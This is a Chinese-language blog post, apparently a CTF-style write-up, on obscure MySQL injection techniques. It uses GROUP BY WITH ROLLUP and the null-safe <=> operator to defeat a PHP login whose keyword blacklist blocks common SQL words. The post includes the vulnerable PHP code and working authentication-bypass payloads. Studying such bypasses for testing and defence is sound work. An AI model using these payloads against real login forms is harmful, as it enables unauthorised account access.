MySQL偏門注入
說明
工作之后,目前工作內容就是寫代碼和研究Linux內核相關的知識,已經很少研究有關SQL注入等相關知識了。這篇文章是最近在整理自己電腦文件時發現的。與其藏在角落里,還不如和大家一起分享下。由于時間過于久遠,也無法確認是不是已經有人已經分享過了。
rollup
簡介
mysql中的group by后面可以接with rollup修飾語,使用with rollup修飾語可以在group by結果后面增加一行(該行內容中的group by的列返回NULL,其他列返回相應的內容)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # 沒有rollup mysql> select Host,User from user group by host; +-----------+------------+ | Host | User | +-----------+------------+ | % | wackopicko | | 127.0.0.1 | root | | ::1 | root | | localhost | root | +-----------+------------+ 4 rows in set (0.00 sec) # 有rollup mysql> select Host,User from user group by host with rollup ; +-----------+------------+ | Host | User | +-----------+------------+ | % | wackopicko | | 127.0.0.1 | root | | ::1 | root | | localhost | root | | NULL | root | +-----------+------------+ 5 rows in set (0.00 sec)
可以看到使用with rollup之后,返回結果中會多一行,且Host字段為NULL。
以一個稍微復雜一點的例子來說明with rollup的用法。
創建數據庫
1 2 3 4 5 CREATE TABLE `t` ( `id` int(11) DEFAULT NULL, `id2` int(11) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8; insert into t value(11,11),(12,12),(13,13);
使用rollup查詢
1 2 3 4 5 6 7 8 9 10 mysql> select id,sum(id2),avg(id2) from t group by id with rollup; +------+----------+----------+ | id | sum(id2) | avg(id2) | +------+----------+----------+ | 11 | 11 | 11.0000 | | 12 | 12 | 12.0000 | | 13 | 13 | 13.0000 | | NULL | 36 | 12.0000 | +------+----------+----------+ 4 rows in set (0.00 sec)
可以發現對于group by的列(在本例中為id),返回為NULL,對于其他列則是進行正常的操作(在本例中為sum和avg操作)。
rollup繞過檢測
存在users表,其中僅僅只存在一條記錄。
1 2 3 4 5 6 7 8 9 -- auto-generated definition CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255) NULL, password VARCHAR(255) NULL, CONSTRAINT users_id_uindex UNIQUE (id) );
需要繞過的代碼如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function AttackFilter($StrKey,$StrValue,$arrReq) {
if(is_array($StrValue)) {
$StrValue = implode($StrValue);
}
if(preg_match("/".$arrReq."/is",$StrValue) == 1) {
print "the attack is detected";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp";
foreach ($_POST as $key=>$value) {
AttackFilter($key,$value,$filter);
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$query = "select * from users WHERE username='{$username}'";
$query = mysqli_query($conn,$query);
if(mysqli_num_rows($query) == 1) {
$result = mysqli_fetch_array($query);
if($result['password'] == $password) {
die('right');
}
}
這道題目與常規的md5的登錄注入類似,但是無法使用union子句,此時就可以使用rollup子句。
1 select * from users where username=''or 1 group by username with rollup
會產生一條password為NULL的記錄,使用limit取出這條語句,然后傳入空的password,最后就會NULL==NULL而繞過驗證。
如果不知道用戶名,可以使用username=' or 1=1。但是在本例中過濾了or,那么可以使用username='=0(利用’’=0的特性)。
POC為:
1 POST:username='=0 group by password with rollup limit 1 offset 1#&password=
<=>
同樣是上面的那道題目,在POC中使用了limit。如果limit無法使用也被過濾了,則該如何繞過呢?
那么需要看一下SELECT的語法了。`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
GROUP BY后面可以接HAVING子句,如果需要HAVING子句生效,則需要后面的where_condition為True。如果直接使用HAVING password=null的話不會生效因為mysql中 null = null 會返回 null。當 null <=> null 的時候會返回1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> select null=null; +-----------+ | null=null | +-----------+ | NULL | +-----------+ 1 row in set (0.00 sec) mysql> select null<=>null; +-------------+ | null<=>null | +-------------+ | 1 | +-------------+ 1 row in set (0.00 sec)
所以最終的POC為:
1 username='=0 group by password with rollup having password <=>null %23&password=
參考
MySQL group by with rollup
MySQL注入的一些偏門技巧